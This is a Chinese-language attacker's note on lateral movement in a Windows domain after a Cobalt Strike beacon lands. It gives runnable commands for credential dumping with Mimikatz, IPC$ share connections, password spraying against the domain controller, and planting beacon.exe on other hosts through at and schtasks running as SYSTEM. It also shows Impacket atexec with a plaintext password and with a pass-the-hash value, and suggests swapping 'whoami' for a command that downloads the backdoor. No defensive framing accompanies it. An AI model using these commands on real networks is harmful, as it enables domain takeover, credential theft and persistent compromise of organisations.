上线后的两种情况
net user /domain
ipconfig /all -> 查看主DNS后缀,判断所在位置
在域内
Administrator -> system 尝试提权//system是最高权限,可以逃离域控的控制
在域外
1.提权
Administrator -> system 尝试提权//system是最高权限,可以逃离域控的控制
system 之后 net user /domain 可能实现域通信
2.切换域内用户
CS -> 凭证提权 -> 抓取明文密码 -> 以其他用户上线
Minikatz 获取凭证
win10,2012R2以上内存中禁止缓存明文密码
只能获取hash
IPC
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是一个用于进程间通信的开放式命名管道,通过提供一个可信的用户名和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。需要使用目标系统用户的账号密码,使用139、445端口。
IPC是否能用取决于防火墙入栈规则是否防护文件和打印机共享策略+文件和打印机共享服务是否开启
视图目标列表
浏览探测 网络探测/端口扫描
1、IPC$利用命令
net use \\横移目标的IP\ipc$ "password" /user:(计算机名)\username # 工作组
net use \\横移目标的IP\ipc$ "password" /user:域名\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
文件浏览
正向上线
ping 横向目标主机,通,可以正向上线
创建监听器 -> TCP -> 生成此监听器的后门 -> 传入被控机器 -> 添加计划启动后门 -> 主动连接正向后门
连接正向后门命令:connect 192.168.3.32 3232 //横向目标IP:192.168.3.32 监听器端口:3232
传入方法
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
shell copy 1.exe \\横向目标主机IP\C$ //复制文件,C是盘符(目标主机C盘)
计划
[at] & [schtasks]计划任务配合
1、at < Windows2012
copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务,15:47为计划执行时间
2、schtasks >=Windows2012//192.168.3.32代指横向目标主机IP,beacon.exe代指后门文件
copy beacon.exe \\192.168.3.32\c$ #拷贝执行文件到目标机器
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创建beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.32 /tn beacon /f#删除beacon任务
反向上线
右键控制节点 -> 代理转发 -> 转发上线 -> 生成此监听器的后门 -> 传入被控机器 -> 添加计划启动后门
监听器:设置本机控制节点的IP(和目标主机在同一网段)
生成后门:Stageless 生成后门
获取域控
利用 IPC 密码喷射
net use \\横移目标的IP\ipc$ "password" /user:域名\username #攻击域控
成功后尝试正向上线或者反向上线
工具
LSTARSA插件
可以省去IPC命令的麻烦
Impacket 套件
利用 cs 搭建 socks 节点(可以访问到横向目标主机的节点)
python atexec.py god/administrator:Admin12345@192.168.3.21 "ver"
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
//whoami 替换成下载类的命令,从被控主机下载后门
2012R2/win10 之后利用 hash
IPC失败原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
整理小思路
上线一个主机(1)-> 确认域位置 -> 提权-> 抓取密码 -> 端口扫描,获取其他主机信息 -> 利用 IPC 密码喷射 -> 传入后门上线
补充
#建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码